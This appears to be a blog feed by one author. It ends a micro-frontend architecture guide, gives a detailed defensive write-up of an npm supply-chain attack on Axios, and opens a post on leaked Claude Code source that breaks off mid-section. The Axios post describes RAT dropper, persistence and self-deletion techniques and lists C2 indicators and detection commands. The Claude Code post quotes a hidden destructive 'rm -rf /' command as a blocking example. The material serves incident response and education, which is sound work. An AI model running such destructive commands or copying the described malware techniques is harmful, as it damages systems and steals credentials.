`@module-federation/nextjs-mf`	Next.js with federation needs.	Pages Router solid, App Router still maturing.
Next.js Multi-Zones	URL-segmented Next.js apps.	Built-in. The boring right answer for most Next teams.
Re.Pack	React Native.	Webpack-based RN bundler with first-class MF support.
single-spa	Multi-framework or whole-app composition.	Older but still excellent for orchestrating whole SPAs.
Piral	Plugin-style portal apps.	.NET-friendly, popular in enterprise.
qiankun	China-heavy stacks; Vue + React mixing.	Built on single-spa, very popular in Asia.
Bit	Component-as-a-package approach.	Build-time MFE done well.
Native Federation (Angular)	Angular shops.	Standards-based (ESM + import maps), no Webpack required.
Rspack	Webpack-compatible, Rust-based.	Drop-in faster Webpack with first-class MF support.
Turbopack	Next.js future.	MF support is still landing — not yet a primary choice.

The Pragmatic Defaults for 2026

React + Vite host: @module-federation/vite + Module Federation 2.0
Next.js with section split: Next.js Multi-Zones
Next.js with shared components across teams: @module-federation/nextjs-mf (Pages Router) — and watch the App Router space closely
React Native super app: Re.Pack + Module Federation 2.0
Multi-framework legacy migration: single-spa
Component-level reuse without runtime federation: Bit

Decision Framework

Five questions. Answer them honestly.

1. How many teams own the frontend?

1–2 teams → No MFE. Use a monorepo.
3–4 teams → Consider it, but a clean monorepo is still probably better.
5+ teams → MFE starts paying for itself.

2. How coupled are your features?

Tightly coupled (every screen uses every other screen's state) → No MFE. It will hurt.
Loosely coupled (clear sectional boundaries) → MFE is a fit.

3. How performance-critical is the first paint?

Marketing site / e-commerce / SEO-driven → Be very careful. SSR + MFE is hard. Multi-zones may be enough.
Internal tool / dashboard / authenticated app → Performance is less critical, MFE is more viable.

4. Do you have platform engineering capacity?

No dedicated platform/infra team → Don't. MFE has a permanent operational tax.
Yes → Proceed.

5. What's the actual problem you're solving?

"Our deploys are slow" → Fix the build first, MFE second.
"Our teams can't ship without blocking each other" → MFE is correct.
"We want to use different frameworks per team" → Reconsider your life choices, then MFE.

The Decision Tree

                    Do you have 5+ frontend teams?
                              |
                +-------------+-------------+
                |                           |
                NO                          YES
                |                           |
        Monorepo + clean              Are features loosely
        boundaries. Done.             coupled by section?
                                            |
                              +-------------+-------------+
                              |                           |
                              NO                          YES
                              |                           |
                    Refactor for                  Is SSR + SEO
                    isolation first.              critical?
                                                        |
                                          +-------------+-------------+
                                          |                           |
                                          YES                         NO
                                          |                           |
                                    Next.js                    Module Federation
                                    Multi-Zones                (Vite or Webpack)

The Future of Micro Frontends

A few things worth watching as 2026 unfolds:

1. Module Federation 2.0

The current cutting edge. Adds a runtime API (load remotes by URL at run time), manifest format, automatic type generation, and a much better dev experience. Use it on new projects.

2. React Server Components Across Boundaries

RSC is fundamentally hostile to runtime federation today — server components serialize to a wire format that the host has to know about. The future likely involves RSC-aware federation or a complete rethink of how server-rendered fragments compose. This space is moving fast.

3. Edge Composition

Cloudflare, Vercel, Netlify, and Fastly are all making it cheap to compose HTML at the edge. Server-side composition may quietly come back into fashion, with edge functions doing the stitching.

4. Native Federation (Standards-Based)

Angular's "Native Federation" uses ESM and import maps instead of Webpack. As browsers improve native ESM support and import map adoption grows, this could become the standards-based future of MFE — bundler-agnostic by design.

5. Type Safety at the Boundary

Auto-generated .d.ts for federated modules is now table stakes. Expect better tooling around versioned type contracts, breaking-change detection, and dependency graphs across federated boundaries.

TL;DR

Micro frontends are an organizational tool, not a technical one. They exist because Conway's Law won.
Most teams should not use them. If you have fewer than 5 product teams, a clean monorepo is almost always the right answer.
Module Federation is the dominant runtime approach in 2026 — for React + Vite, for Next.js (alongside multi-zones), and for React Native (via Re.Pack).
Singletons for stateful libraries are not optional. Two Reacts on one page will ruin your week.
Independent deploys are the entire point. If you don't have them, you have a distributed monolith with extra steps.
Mobile MFE is hard mode. Use it only if you're building a true super app.
Test the boundaries with contract tests. Type the boundaries with auto-generated .d.ts.
Use the URL as the integration layer wherever you can. It eliminates 60% of the "shared state" problems.
Performance gets worse before it gets better — plan for bundle deduplication and aggressive caching from day one.
The right answer is usually the boring one. Multi-zones, monorepos, and a strong design system will solve most of the problems people reach for MFE to fix.

If you walked away from this guide thinking "maybe we don't need micro frontends after all", I've done my job.

If you walked away thinking "okay, we definitely do, and now I know how to start" — even better. You're going in with your eyes open.

Connect With Me

If this guide helped you, follow me on LinkedIn for more deep dives into frontend architecture, system design, and the trade-offs nobody talks about: linkedin.com/in/ishaanpandey

Got questions, war stories, or strong opinions about whether your team should adopt MFE? I want to hear them. Drop me a message.

The Axios Supply Chain Attack Explained — npm's Biggest Security Breach in 2026

Ishaan Pandey — Mon, 06 Apr 2026 16:46:25 +0000

What Happened
Why This One Hits Different
The Full Timeline — Minute by Minute
How They Got In — The Token Problem
The Attack Chain — Step by Step
What the Malware Actually Does
The Self-Destruct Mechanism
Who Did This
The Damage — How Bad Was It
How It Was Caught
Am I Affected? How to Check
The Bigger Picture — npm's Trust Problem
What Developers Should Do Now
What This Attack Teaches Us

What Happened

On March 31, 2026 — just after midnight UTC — someone published two new versions of Axios to npm:

axios@1.14.1 (tagged latest)
axios@0.30.4 (tagged legacy)

Both versions looked normal. Same README. Same API. Same everything — except for one tiny addition to package.json: a new dependency called plain-crypto-js@4.2.1.

That package had never existed before that day. Its sole purpose was to execute a postinstall script that silently dropped a Remote Access Trojan on your machine — macOS, Windows, and Linux. All three. Within seconds of running npm install.

No user interaction required. No warning. No prompt. You install your dependencies like you do every day, and a North Korean hacking group now has a backdoor on your machine.

The malicious versions were live for approximately 2 hours and 54 minutes before npm pulled them.

Let that sink in. Less than 3 hours. And in that window, every CI/CD pipeline, every developer laptop, every Docker build that happened to run npm install with Axios — potentially compromised.

Why This One Hits Different

npm supply chain attacks aren't new. We've seen this movie before:

event-stream (2018) — A maintainer handed off control to a stranger who injected crypto-stealing malware targeting Copay wallets.
ua-parser-js (2021) — Compromised maintainer account, cryptominer injected. 8 million weekly downloads affected.
colors.js / faker.js (2022) — The maintainer himself sabotaged his own packages in protest. Broke thousands of apps.
xz-utils (2024) — A years-long social engineering campaign to backdoor a Linux compression library. Caught by accident.

Each one was a wake-up call. And each time, the ecosystem hit snooze.

But Axios is different. And this time, there's no sleeping through it.

Scale: Axios gets roughly 100 million downloads per week. It's in virtually every JavaScript project you've ever touched — React apps, Node.js backends, mobile apps, enterprise dashboards. If you write JavaScript, Axios is somewhere in your dependency tree. Probably more than once.

Sophistication: This wasn't some kid typosquatting axois and hoping someone misspells it. This wasn't a disgruntled maintainer rage-quitting. This was a coordinated, multi-phase operation — staged dependencies published 18 hours in advance, cross-platform RAT payloads pre-built for three operating systems, and a self-destruct mechanism that erases its own forensic evidence after execution. Whoever planned this knew exactly what they were doing.

Attribution: North Korean state-sponsored hackers. A government-backed group that has stolen hundreds of millions in crypto over the past decade. They're targeting developer machines because that's where the keys to the kingdom live — crypto wallets, cloud credentials, API secrets, production access.

Speed: 39 minutes between the two malicious publishes. Both release branches poisoned in one operation. This wasn't improvised. This was rehearsed.

The Full Timeline — Minute by Minute

Here's how the whole thing unfolded. Pay attention to how deliberate the timing is:

March 30, 2026
  05:57 UTC — Clean "plain-crypto-js@4.2.0" published to npm
               └─ Decoy. Establishes the package as "real."
                  No malicious code. Just a clean placeholder
                  so the package doesn't look brand new when
                  it shows up in Axios's dependencies.

  23:59 UTC — Malicious "plain-crypto-js@4.2.1" published
               └─ NOW it has the payload. Staged 18 hours
                  after the clean version. Patient.

March 31, 2026
  00:21 UTC — axios@1.14.1 published (tagged "latest")
               └─ Adds plain-crypto-js@4.2.1 as a dependency.
                  Published using compromised npm token.

  01:00 UTC — axios@0.30.4 published (tagged "legacy")
               └─ Same injection. Both release branches poisoned.
                  39-minute gap between the two publishes.

  ~03:15 UTC — npm unpublishes both malicious Axios versions
               └─ 2 hours, 54 minutes of exposure.

  18:30 UTC — Huntress publishes analysis linking attack
               to North Korean state-sponsored actors

The timing is deliberate. Just after midnight UTC — that's the middle of the night in Europe and late afternoon/evening in the US. Fewest possible eyeballs on npm. Maximum window before someone notices something's off.

These people weren't rushing. They published the decoy 18 hours early, waited for the right moment, and executed both publishes within 39 minutes. That's operational discipline.

How They Got In — The Token Problem

This is the part that should make every open source maintainer uncomfortable.

The attacker got their hands on a long-lived classic npm access token belonging to jasonsaayman — the primary Axios maintainer. With this single token, they could publish new versions of Axios directly to npm. No GitHub access needed. No code review. No CI/CD pipeline. Just... publish.

Here's what makes it worse: Axios had already set up OIDC Trusted Publishing — a newer security feature where npm cryptographically verifies that a publish came from an authorized GitHub Actions workflow. This is literally designed to prevent the exact attack that happened.

But there was a gap. The GitHub Actions pipeline was passing both OIDC credentials and a classic NPM_TOKEN as environment variables. And when npm sees both? It uses the classic token. The newer, more secure system gets ignored.

So the attacker didn't need to touch GitHub. Didn't need to push a single line of code to the repository. They just used the stolen token to publish directly to npm — walking straight past every CI/CD security check like they didn't exist.

You can actually tell the difference if you look closely. Legitimate Axios releases have cryptographic OIDC binding to verified GitHub Actions workflows. The malicious versions? No OIDC signature. No corresponding git commit. No release tag. Just a raw publish from a token that should have been revoked a long time ago.

The attacker also swapped the npm account's email to ifstap@proton.me — so the real maintainer wouldn't get any notification emails and couldn't easily recover the account. Thoughtful. Terrifyingly thoughtful.

The takeaway is uncomfortable but simple: A long-lived npm token is a skeleton key. If it leaks — through a compromised laptop, a stolen backup, a misconfigured CI secret — everything that token can publish is at risk. OIDC is the right answer, but only if you actually revoke the classic tokens. Leaving both active is like installing a deadbolt on your front door while leaving the window open.

The Attack Chain — Step by Step

Here's exactly what happens on your machine when you run npm install with one of the compromised versions. The whole thing takes seconds:

npm install axios@1.14.1
  │
  ├─ npm resolves dependencies
  │   └─ Finds new dependency: plain-crypto-js@4.2.1
  │
  ├─ Downloads and installs plain-crypto-js@4.2.1
  │   └─ Has a "postinstall" script in package.json
  │
  ├─ npm runs postinstall → executes setup.js
  │   └─ Two-layer XOR cipher decoding reveals payload
  │
  ├─ setup.js detects your OS
  │   ├─ macOS → AppleScript → fetches C++ RAT binary
  │   ├─ Windows → VBScript → PowerShell RAT
  │   └─ Linux → Shell → Python RAT
  │
  ├─ RAT connects to C2: sfrclak.com:8000
  │   └─ Within 1.1 seconds of npm install
  │
  ├─ setup.js self-destructs
  │   ├─ Deletes itself
  │   ├─ Removes malicious package.json
  │   └─ Replaces with clean stub (version 4.2.0)
  │
  └─ RAT runs in background
      └─ Beacons to C2 every 60 seconds

By the time your terminal shows "added 1 package," the RAT is already phoning home and the malicious code has already deleted itself. You'd have no idea anything happened.

1.1 seconds. That's how fast the dropper establishes a C2 connection after npm install. Faster than you can read the install output.

What the Malware Actually Does

They didn't just build one payload and call it a day. They built three. One for each operating system. Each one tailored to its target's quirks, using native tools that wouldn't look suspicious to basic monitoring.

macOS

The dropper uses AppleScript (a legit macOS automation tool) to download a compiled C++ binary from the C2 server. It saves it to /Library/Caches/com.apple.act.mond — a path and name deliberately chosen to look like a real Apple system process. If you saw it in Activity Monitor, you'd probably scroll right past it.

The binary itself is nasty — researchers who tore it apart found it overlaps heavily with WAVESHAPER, a known North Korean backdoor. The internal project name in the binary? macWebT. That name links directly to previous campaigns by BlueNoroff, a North Korean hacking group that's been targeting crypto companies for years.

What can it do once it's running? Read your files, steal your credentials, execute shell commands, and exfiltrate data. Basically, everything. Your machine is theirs.

Windows

On Windows, it gets creative. The dropper finds PowerShell on your system, copies it to %PROGRAMDATA%\wt.exe (renaming it so it doesn't look like PowerShell), writes a VBScript to a temp folder, and uses that to fetch the actual RAT payload from the C2 server.

Then it creates %PROGRAMDATA%\system.bat and registers it as a startup item in the Windows Registry — labeled "Microsoft Update." If you saw that in your startup programs, would you think twice? Probably not. That's the point.

This one survives reboots. And on top of the usual file theft and shell access, it can inject DLLs into running processes and terminate processes that might interfere with it. It's not just a backdoor — it's actively protecting itself.

Linux

The Linux variant is the simplest but arguably the scariest in context. It downloads a Python RAT, saves it to /tmp/ld.py, and runs it with nohup — which means the process survives even after your terminal session ends. It gets reparented to PID 1 (the init process).

Why is this scary? Think about CI/CD. Your Jenkins server, your GitHub Actions runner, your Docker build — if any of these ran npm install during the 3-hour window, the RAT started running alongside your build. And because of the nohup trick, it kept running through your test suite, your deployment, everything. The RAT was sitting on your build server watching your production deploy happen.

The Fake npm Domain

All three variants phone home to the C2 every 60 seconds, but they disguise the traffic as requests to packages.npm.org/product0 (macOS), product1 (Windows), and product2 (Linux).

That domain — packages.npm.org — is not a real npm domain. But it looks like one. If a security analyst glanced at DNS logs and saw traffic going to something that looks like npm infrastructure, they'd probably move on. That's a really clever piece of social engineering embedded in the malware's network layer.

The Self-Destruct Mechanism

This is the part that genuinely impressed me from a technical standpoint (in the most unsettling way possible).

After the RAT launches successfully, setup.js doesn't just sit there waiting to be found. It cleans up after itself:

Deletes itself — the malicious setup.js file is gone
Removes the malicious package.json — the one with the postinstall hook that triggered everything
Swaps in a clean replacement — a pre-staged file called package.md gets renamed to package.json, and it reports version 4.2.0 (the clean decoy from 18 hours earlier)

So after the attack runs, if you go look at node_modules/plain-crypto-js/, everything looks normal. Version 4.2.0. No postinstall script. No setup.js. Your npm audit sees nothing wrong. Your lockfile checker sees nothing wrong.

But the RAT is already running in a background process.

Think about that. The attackers pre-staged a clean decoy version 18 hours in advance specifically so that the self-destruct mechanism would have something innocent to swap in. This was planned with the kind of operational detail you'd expect from a heist movie, not a JavaScript package.

You'd have to dig into npm's raw install logs or compare SHA hashes against the registry to catch it. How many developers do that? How many CI/CD pipelines check for that? Basically zero.

Who Did This

The day after the attack, Google's Threat Intelligence Group pointed the finger at UNC1069 — a North Korean hacking operation that's been on security researchers' radar for years.

How do they know? The evidence is pretty damning:

The macOS binary shares significant code with WAVESHAPER — a backdoor that Mandiant has been tracking and has previously linked to this same North Korean group. The binary even has an internal project name baked in: macWebT, which connects directly to attack tools used in previous campaigns targeting crypto companies.

The C2 infrastructure isn't new either. Some of the domains used in this attack were already flagged in previous North Korean operations — they reused infrastructure, which is how researchers connected the dots.

And the playbook matches perfectly. UNC1069 doesn't hack for espionage or ideology — they hack for money. They target developer machines because developers sit on a goldmine of access: crypto wallets, exchange API keys, cloud credentials, SSH keys to production servers. Compromise one developer's laptop and you potentially have the keys to an entire company's infrastructure.

This is a group that has stolen hundreds of millions in cryptocurrency over the past decade. The Axios attack wasn't random. It was calculated. Developer machines are their ATM, and npm install was the card reader.

The Damage — How Bad Was It

The exposure window was approximately 2 hours and 54 minutes. That sounds short. It's not.

Think about everything that runs npm install on autopilot: CI/CD pipelines spinning up builds, Docker containers pulling fresh dependencies, Dependabot and Renovate creating auto-update PRs, developers onboarding onto new projects, fresh cloud instances bootstrapping. In 3 hours, across a package with 100 million weekly downloads, that's potentially a terrifying number of installations.

And here's the thing that makes the 3-hour window misleading — the RAT doesn't stop when the malicious package gets pulled from npm. Once it's on your machine, it's on your machine. The malicious Axios version is gone from npm, but the RAT that it dropped is still running in the background, still phoning home every 60 seconds, still having full access to your filesystem.

If you got hit, the RAT could have been running silently for days or weeks before you even heard about the attack. Especially with the self-destruct mechanism making the initial infection vector invisible.

What does "fully compromised" actually mean in practice? It means: every credential on that machine — npm tokens, API keys, SSH keys, AWS secrets, database passwords, browser saved passwords — should be assumed stolen. Every file should be assumed read. Every environment variable should be assumed exfiltrated. That's not paranoia. That's what a RAT with full shell access and file system enumeration can do in minutes.

How It Was Caught

Credit where it's due — this was caught fast by internet standards.

The first domino was automated tooling. Security scanners noticed a brand-new, unknown dependency (plain-crypto-js) suddenly appearing in a massively popular package. That's a red flag that most modern supply chain monitoring tools are trained to catch.

StepSecurity's Harden-Runner tool deserves a specific shoutout here. It was running in a GitHub Actions environment, monitoring outbound network connections during CI builds. When npm install triggered the payload and the dropper tried to call home to sfrclak.com, Harden-Runner caught it in real time — recording the C2 connection happening within 1.1 seconds of install. That's the kind of visibility that caught this before it could spread further.

Community reports started flooding in to npm's security team, who pulled both malicious versions approximately 2 hours and 54 minutes after publication. Fast response, all things considered. But at the scale Axios operates at, even fast isn't fast enough to prevent significant damage.

After the public disclosure, the C2 infrastructure at sfrclak.com went dark. The attackers pulled the plug on their end — they knew the party was over.

Am I Affected? How to Check

Before you panic, here's how to actually figure out if you were hit. Run these and breathe.

Check your lockfile for the bad versions:

grep -r "axios@1.14.1\|axios@0.30.4" package-lock.json yarn.lock pnpm-lock.yaml

# Also check for the phantom dependency
grep -r "plain-crypto-js" package-lock.json yarn.lock pnpm-lock.yaml node_modules/

If those come back empty, you're almost certainly fine. The lockfile is your source of truth.

If you do find a match, check for RAT artifacts:

# macOS — the disguised binary
ls -la /Library/Caches/com.apple.act.mond

# Linux — the Python RAT
ls -la /tmp/ld.py

# Windows (PowerShell)
Test-Path "$env:PROGRAMDATA\wt.exe"
Test-Path "$env:PROGRAMDATA\system.bat"

Check if your machine was talking to the C2:

grep -r "sfrclak.com\|callnrwise.com\|calltan.com" /var/log/
netstat -an | grep "142.11.206.73"

For the forensically inclined, here are the SHA hashes of the malicious packages — you can compare these against your npm cache to be absolutely sure:

axios@1.14.1:           2553649f2322049666871cea80a5d0d6adc700ca
axios@0.30.4:           d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
plain-crypto-js@4.2.1:  07d889e2dadce6f3910dcbc253317d28ca61c766

If You Find Anything

Don't just delete the malware and move on. If any of those checks came back positive:

Treat the machine as fully compromised. Not "probably fine." Fully compromised. The RAT had shell access and file system enumeration — assume everything on that machine was accessible.
Rotate every credential that machine has ever touched. npm tokens, API keys, SSH keys, cloud secrets, database passwords. All of them. Yes, all of them.
Hunt for persistence. On Windows, check the Registry Run keys for anything labeled "Microsoft Update" — that's the RAT's disguise. On macOS, check for the binary at the path above. On Linux, check for orphaned Python processes.
Rebuild from scratch. Seriously. Don't try to clean the machine. You don't know what else was modified. Wipe and rebuild.
Audit your CI/CD. If any pipeline ran during that 3-hour window, every artifact it produced is suspect. Deployments, Docker images, binaries — all of it.
Block the C2 domains at the network level: sfrclak.com, callnrwise.com, calltan.com, and the IP 142.11.206.73.

The Bigger Picture — npm's Trust Problem

Let's zoom out for a second. Because this isn't really about Axios. Axios was just the vehicle.

The real problem is something uncomfortable: npm install is essentially curl | bash with extra steps. Every time you run it, you're downloading code from the internet, automatically executing arbitrary scripts (postinstall hooks), with whatever permissions your user has, trusting that thousands of transitive dependencies haven't been tampered with.

We all know this. We've known it for years. And we keep doing it anyway because the alternative — auditing every dependency and every transitive dependency — is impractical for any real project.

That trust model broke on March 31, 2026. Again.

What npm got right: They removed the malicious versions in under 3 hours. That's fast. And OIDC Trusted Publishing exists and actually works — when it's configured correctly and classic tokens are revoked.

What's still broken — and this is the part that frustrates me:

Classic npm tokens still exist side-by-side with OIDC, and npm prioritizes the classic token when both are present. There's no way to say "OIDC only, reject all classic token publishes" at the registry level. It's like having a biometric lock on your front door but also leaving a spare key under the mat — and the key overrides the biometric.

Postinstall scripts still run by default. Most developers haven't added ignore-scripts=true to their .npmrc because it breaks half their toolchain. So every npm install is a gamble that none of your hundreds of transitive dependencies have decided to run malicious code today.

There's still no cryptographic verification that what's on npm matches what's on GitHub. The malicious Axios versions had no corresponding git commit, no release tag, nothing in the actual repository. The npm registry and the GitHub repo are two completely separate systems with no enforced link between them.

And for a package downloaded 100 million times a week? No mandatory 2FA. npm recommends it. Doesn't enforce it. A recommendation is not a security measure.

What Developers Should Do Now

If you're not affected, great. But don't just move on and forget about this. Here's what to actually change:

Right now:

# Check your Axios version
npm ls axios

# If you're on 1.14.1 or 0.30.4 (unlikely at this point, but check)
npm install axios@1.14.0

# Remove the phantom dependency if it somehow stuck around
rm -rf node_modules/plain-crypto-js

# Run an audit
npm audit

Going forward — and I know some of these are annoying, but they matter now:

Use exact versions, not ranges. Add save-exact=true to your .npmrc. Version ranges (^1.14.0) are what let the malicious version auto-install. Exact versions mean you explicitly choose when to update, and you can review the diff.

Start reviewing lockfile changes in PRs. When a PR shows a new dependency appearing in your lockfile that nobody explicitly added — that's a red flag. Most teams skip lockfile diffs because they're noisy. After Axios, that noise might save you.

Disable postinstall scripts. Add ignore-scripts=true to .npmrc. Yes, this will break some packages that legitimately need postinstall hooks. You'll have to whitelist those explicitly. It's annoying. It's also the single most effective defense against this exact attack vector.

Use npm ci in CI/CD, not npm install. npm ci installs exactly what's in the lockfile — no resolution, no surprises. npm install can resolve to newer versions, which is exactly how the malicious version got pulled in.

Kill your classic npm tokens. If you have OIDC Trusted Publishing set up, revoke every classic token. Don't leave both active. The Axios attack literally happened because a classic token existed alongside OIDC. Don't be the next lesson.

Monitor outbound connections from your builds. Tools like StepSecurity Harden-Runner, Socket.dev, and Snyk can flag suspicious network activity during CI/CD. If your build is suddenly calling sfrclak.com — you want to know about that in real time, not in a blog post two weeks later.

What This Attack Teaches Us

This isn't just an Axios problem. It's a mirror held up to how the entire JavaScript ecosystem works.

The entry point was embarrassingly simple. Not a zero-day. Not a sophisticated exploit. One stolen npm token. That single token bypassed OIDC, bypassed CI/CD, bypassed code review — everything. All the security infrastructure in the world means nothing if there's a classic token sitting in a compromised .env file somewhere.

The payload was anything but simple. Three OS-specific RATs. A self-destruct mechanism with a pre-staged decoy. C2 domains disguised as npm infrastructure. 18 hours of advance staging. This is the asymmetry of supply chain attacks — trivial to get in, devastating once inside.

3 hours was both impressive and terrifying. npm's security team responded fast. But at the scale of 100 million weekly downloads, "fast" still means potentially thousands of compromised installations. There's no response time that's fast enough when the attack surface is this big.

We keep learning the same lesson. event-stream in 2018 taught us that trust in maintainers is fragile. ua-parser-js in 2021 taught us that account security matters. xz-utils in 2024 taught us that social engineering can play the long game. And now Axios in 2026 is teaching us that classic tokens are ticking time bombs — and that OIDC only works if you actually commit to it.

The JavaScript ecosystem runs on trust. And that trust is held together by npm tokens, maintainer email addresses, and the assumption that no one's postinstall script is going to ruin your day. That's not a security model. That's a hope model.

The Axios attack won't be the last. But maybe — maybe — it'll be the one that makes us stop treating supply chain security as someone else's problem.

Want to talk about supply chain security, npm hardening, or just vent about the state of open source? Let's connect.

Connect with me on LinkedIn

Claude Code's Source Code Exposed — Every System Explained From Scratch (512K Lines)

Ishaan Pandey — Wed, 01 Apr 2026 10:43:19 +0000

Anthropic's Claude Code source just leaked. All 512,000 lines of it.

If you've used Claude Code, you know it feels like magic — you type a message, it reads your files, edits your code, runs your tests, and somehow gets it right most of the time.

But magic doesn't scale. Engineering does. And let me tell you — after going through this entire codebase, I'm genuinely impressed. Not by any single brilliant algorithm, but by the sheer thoughtfulness of every decision. You can tell this was built by people who've been woken up at 3 AM by production incidents and decided "never again."

I've distilled the whole thing into plain-English explanations. No assumptions about your background. If you know what a function is, you can follow this.

Let's go.

The Query Engine — The Heart of Everything
How Conversations Stay Within Limits — 5 Compression Layers
Error Recovery — What Happens When Things Go Wrong
Tools — How Claude Actually Does Things
Permissions — The Safety Net
The System Prompt — 14,902 Lines of Instructions
Slash Commands, Skills, and Plugins
Multi-Agent Orchestration — The Boss and Workers Pattern
Memory — How Claude Remembers Across Conversations
Authentication — 7 Ways to Prove Who You Are
The UI — React in a Terminal
Build System — One Codebase, Many Products
The 25 Wildest Implementation Details

The Query Engine — The Heart of Everything

Think of Claude Code as a loop. You say something → the AI responds → if it needs to do something (read a file, run a command), it does that → sends the result back to the AI → repeats until done.

This loop lives in query.ts (1,730 lines) and here's what blew me away — despite the 512K-line codebase, the core loop is surprisingly simple:

while (true):
  1. Prepare messages (compress if conversation is too long)
  2. Call API with streaming (response arrives word-by-word)
  3. Collect response + tool requests
  4. Handle errors silently if possible
  5. Execute requested tools
  6. Check budgets (money, tokens, turns)
  7. Tool results exist? → send back to AI, continue loop
  8. No tools? → we're done, exit

Everything else in the codebase — the UI, the permissions, the retry logic, the compression — exists to make this loop safe, fast, and reliable. Think about that for a second. 512,000 lines of code to protect an 8-step loop. That's the gap between a weekend project and a production system.

What's an Async Generator?

The query engine is implemented as an async generator. In plain terms: it's a function that can pause, yield a partial result (like one word of a response), and resume later. This is why you see Claude's response appearing word-by-word instead of waiting for the whole thing. Small detail, huge UX impact.

The "Withholding" Pattern — Hiding Fixable Errors

This is honestly one of the cleverest patterns I've ever seen in a codebase.

When the API says "your conversation is too long," Claude Code doesn't show you that error. Instead:

It "withholds" the error (hides it from the UI)
Tries to compress the conversation automatically
If compression works → retries the API call → you never knew there was a problem
If compression fails → now it shows you the error

Why? Claude Code runs inside VS Code, the desktop app, and as an SDK. These consumers often kill the entire session when they see any error. Showing a fixable error would crash your workflow for something the system could have handled quietly.

It's like how a good browser retries a failed page load silently before showing you "page not found." You don't see the three retries that happened behind the scenes — you just see a page that loaded. The best engineering is invisible to the user, and this pattern nails that philosophy.

Output Token Escalation — When Claude Runs Out of Space

Every AI response has a length limit. When Claude hits it, the system handles it with a clever 3-step escalation:

Silent upgrade: The limit bumps from 8,000 → 64,000 tokens. You don't see anything.
Multi-turn: If 64K isn't enough, Claude finishes in the next message. "Let me continue where I left off..."
Error: Only if both fail do you see a problem.

Why not always use 64K? Larger limits cost more money and can make the AI ramble. Starting small and escalating is the most cost-effective approach. It's a great example of "optimize for the common case" — most responses fit in 8K, so why pay for 64K every time?

The Death Spiral Guard — A Single Boolean That Saves Thousands

This is my favorite piece of code in the entire codebase. Imagine this disaster scenario:

Conversation too long → compress it
Still too long after compression → error
Error triggers retry → compress again
Still too long → error → retry → compress → ...
This loops forever, burning API calls that cost real money

The fix? One boolean: hasAttemptedReactiveCompact. Once set to true, it stays true across retries. The system checks: "Did we already try compressing? Yes? Then don't try again — just show the error."

This is called a circuit breaker — like a fuse in your house that trips to prevent a fire. And I guarantee you this boolean exists because this exact scenario happened in production. You can practically smell the incident postmortem behind this code.

How Conversations Stay Within Limits — 5 Compression Layers

AI models have a maximum context window (how much text they can "see" at once). Long conversations eventually fill this window. Claude Code handles this with 5 progressive compression layers, and what I love about this design is the discipline — each layer is cheaper than the next, so you only reach for the expensive options when you absolutely have to.

Think of it like packing for a flight with limited luggage:

Layer 1: Tool Result Budget

What: Caps how big each tool result can be.
Analogy: You ran cat on a huge file and got 10,000 lines back. This layer says "keep the first 2,000 lines, drop the rest."
Why first: Cheapest operation, removes the most bulk. Always start with the easiest wins.

Layer 2: Snip Compact

What: Deletes old conversation messages, keeps recent ones.
Analogy: Deleting old emails in a thread. If you have 100 back-and-forth messages, maybe you only need the last 20.
Why second: Removing entire messages is simpler than modifying individual ones.

Layer 3: Microcompact

What: Saves tool results to disk, replaces them with a reference.
Analogy: Instead of carrying the full report in your bag, you save it to cloud storage and carry a bookmark.
Why third: Runs after snip — snip might delete messages that had tool results, making caching unnecessary. Smart sequencing.

Layer 4: Context Collapse

What: Groups related messages (tool call + result + analysis) into a single summary.
Analogy: Instead of three pages of meeting notes, you write a one-paragraph executive summary.
Why fourth: Might reduce context enough to skip the expensive Layer 5 entirely. That's the goal — avoid paying for the nuclear option if you can.

Layer 5: Autocompact (Last Resort)

What: Sends the entire conversation to the AI and asks "summarize everything so far."
Analogy: Hiring someone to rewrite your 50-page thesis as a 5-page summary.
Why last: This costs real API tokens. It's the nuclear option, and the fact that 4 cheaper layers exist before it shows real engineering discipline.

Error Recovery — What Happens When Things Go Wrong

The retry system (withRetry.ts, 823 lines) is where you can really tell this product has been battle-tested. 823 lines just for handling failures. Most apps have maybe 10 lines of retry code. The difference? Anthropic has clearly hit every failure mode that exists.

401 Unauthorized — "Who Are You?"

Your auth token expired. The system refreshes it and retries once. If that fails too, you need to re-authenticate. Clean and simple.

429 Rate Limited — "Slow Down"

You're sending too many requests. The server tells you how long to wait.

Short wait (<20s): Wait and retry with the same settings. Crucially, it keeps "fast mode" active because switching modes would invalidate the expensive prompt cache. This is the kind of detail that saves real money at scale.
Long wait: Switch to standard speed. The system enforces a 10-minute cooldown to prevent rapid flip-flopping between modes. Without that floor, you'd be constantly switching back and forth, confusing the caching layer.

529 Overloaded — "Server Is Too Busy"

This is where the systems thinking really shines:

Background tasks (summarizers, classifiers): Don't retry at all. During a capacity crunch, every retry adds load. Dropping invisible background tasks reduces overall load without the user noticing anything. That's selfless engineering — they're protecting the platform, not just their own product.
Your actual conversation: Exponential backoff — wait 2s, then 4s, then 8s...
3+ consecutive 529s: Automatically switch from Opus (powerful, expensive) to Sonnet (lighter, more available). Graceful degradation instead of just failing.

ECONNRESET — "Connection Dropped"

Node.js reuses HTTP connections for performance. But if the server closed the connection between requests, the next request fails. Fix: disable connection reuse, create fresh connections. Slower but reliable. The pragmatic choice.

Persistent Retry Mode — For Robots, Not Humans

When Claude Code runs in a container (CI/CD, remote agents), there's no human to restart it. So it retries forever, sending a heartbeat every 30 seconds:

"I'm still here, just waiting for the server..."  // Every 30s

Without heartbeats, the container orchestrator (Kubernetes) would assume the process is dead and kill it. This is one of those things you only learn the hard way — by losing jobs to container restarts and going "oh, we need heartbeats." The engineering wisdom encoded in this system is hard-earned.

Tools — How Claude Actually Does Things

When Claude says "let me read that file," it's actually generating a structured request:

{"name": "FileReadTool", "input": {"file_path": "/src/main.ts"}}

The tool system executes this and returns the result. Claude Code ships with 38 tools, and each one has more depth than you'd expect.

BashTool — The Most Dangerous (and Most Hardened) Tool

Shell commands can do anything — from harmless ls to catastrophic rm -rf /. The amount of security hardening on BashTool tells you everything about how seriously Anthropic takes safety:

Shell AST Parsing: The tool doesn't just look at the command string — it parses it into a syntax tree using tree-sitter. This means compound commands are properly analyzed:

echo "hello" && rm -rf /  # The tool sees TWO commands, not one

A naive regex approach would see one "safe" command. The AST parser sees the rm -rf / hiding behind the &&. This level of security analysis is genuinely impressive for a developer tool.

Sleep Detection: Blocks polling loops like sleep 10 && curl api.example.com. These waste tokens and time. Sub-second sleeps (for rate limiting) are allowed. Smart distinction.

